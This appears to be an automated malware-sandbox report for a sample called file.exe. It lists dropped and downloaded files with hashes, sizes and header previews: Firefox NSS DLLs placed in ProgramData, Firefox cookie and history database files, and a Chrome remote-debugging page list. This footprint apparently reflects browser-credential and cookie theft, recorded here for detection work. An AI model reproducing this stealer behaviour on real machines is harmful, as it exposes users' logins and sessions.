Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.376141461002885
Encrypted:	false
SSDEEP:	48:SfNaoQhTEQufNaoQoQxfNaoQ7RbQ7RfNaoQ/f0UrU0U8QV:6NnQhTEQWNnQoQNNnQ7RbQ7tNnQ/f0UC
MD5:	41F5A75B155BD9CD8545622BC9F9CAED
SHA1:	5DE55F34D44A9BA00ABD162915BBB9C63779B01C
SHA-256:	7D68D9B1D14EEBEE26840A495F698E461A278EF45B8604D43552CB998DF7E47D
SHA-512:	99DF54B09D887516A7FDF8A3DAC4DE32D664A3124EA9DBBA76409BFEA8F4D49846176AAA035AAAAE0948944CF3A0A05C5C41EBFADCF3F4893A96C3977597EFEA
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E408BCFA1E05685301EB5E80D116005D",.. "id": "E408BCFA1E05685301EB5E80D116005D",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E408BCFA1E05685301EB5E80D116005D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/19C4C08F5BADB5DA4C52E6F375C4210F",.. "id": "19C4C08F5BADB5DA4C52E6F375C4210F",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/19C4C08F5BADB5DA4C52E6F375C4210F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8698)
Category:	downloaded
Size (bytes):	8703
Entropy (8bit):	5.762575403930193
Encrypted:	false
SSDEEP:	192:uRW+XFd666669nUG5lX+p9gg2N6666VHZ+TB/AiP7wdJ94H6666gGsDgET:sT66666PPXIKgo6666ZoBT7wdJaH666P
MD5:	13EA0B79DD81110ECAF1F025DDE42B26
SHA1:	AC31918FF9BB8B55B7F93B2D12550401713936D8
SHA-256:	7A4C5C1A419D84BB6F860857DC55E8DC4A54A4C97E13259E13AE45D5960560F4
SHA-512:	0904A91E2C1B878EA4DE6067A6A9F791BAD3191F9C2D4DDF3AD09659DA8BF661DC7E00586755A3DC5E83484774F56C5AE1CD7BAAC1C63009012DC990DB489191
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["jermaine eluemunor","monster hunter wilds open beta test","horoscope today astrology","niagara falls","mortgage interest rates","dodgers won world series","tim herb alexander primus","dropbox layoffs"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"Cg0vZy8xMWc3ejVfcXgxEiFFbmdsaXNoIGZvb3RiYWxsIG9mZmVuc2l2ZSB0YWNrbGUyuwxkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFjQUFBQkJRRUJBUUFBQUFBQUFBQUFBQUFBQXdRRkJnY0NDQUgveEFBeUVBQUNBUU1CQmdVQ0JBY0FBQUFBQUFBQkFnTUFCQkVGQmhJaE1VRmhFeFJSY1lFSElvS1J3ZkVWSXpKRFVxR3gvOFFBR2dFQUFnTUJBUUFBQUFBQUFBQUFBQUFBQWdNQUJBV

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133746
Entropy (8bit):	5.436379046586481
Encrypted:	false
SSDEEP:	3072:2Pgvjxd0QniyZ+qQf4VBNQ0pqdvx7U+OUaKszQ:Egvv0yTVBNQ0pGvxI+ORQ
MD5:	F90CEE6BBE1A0B6282891AE7CA8EFAFB
SHA1:	B59CAFA97D70729060D073368D063D57BB9B319F
SHA-256:	8889A5D4F9D4009A133CE74A8893BCA9E73AF40B656E647FEB64FB329BE5750D
SHA-512:	1D55B529C72BB3090AFA9A0E98123DF43E91B4F7078BF924E2A68079240B9F6795AB427CC1C3F59F21157FB15E6B8B03BB1F783E385620031494F74DFEBE165B
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
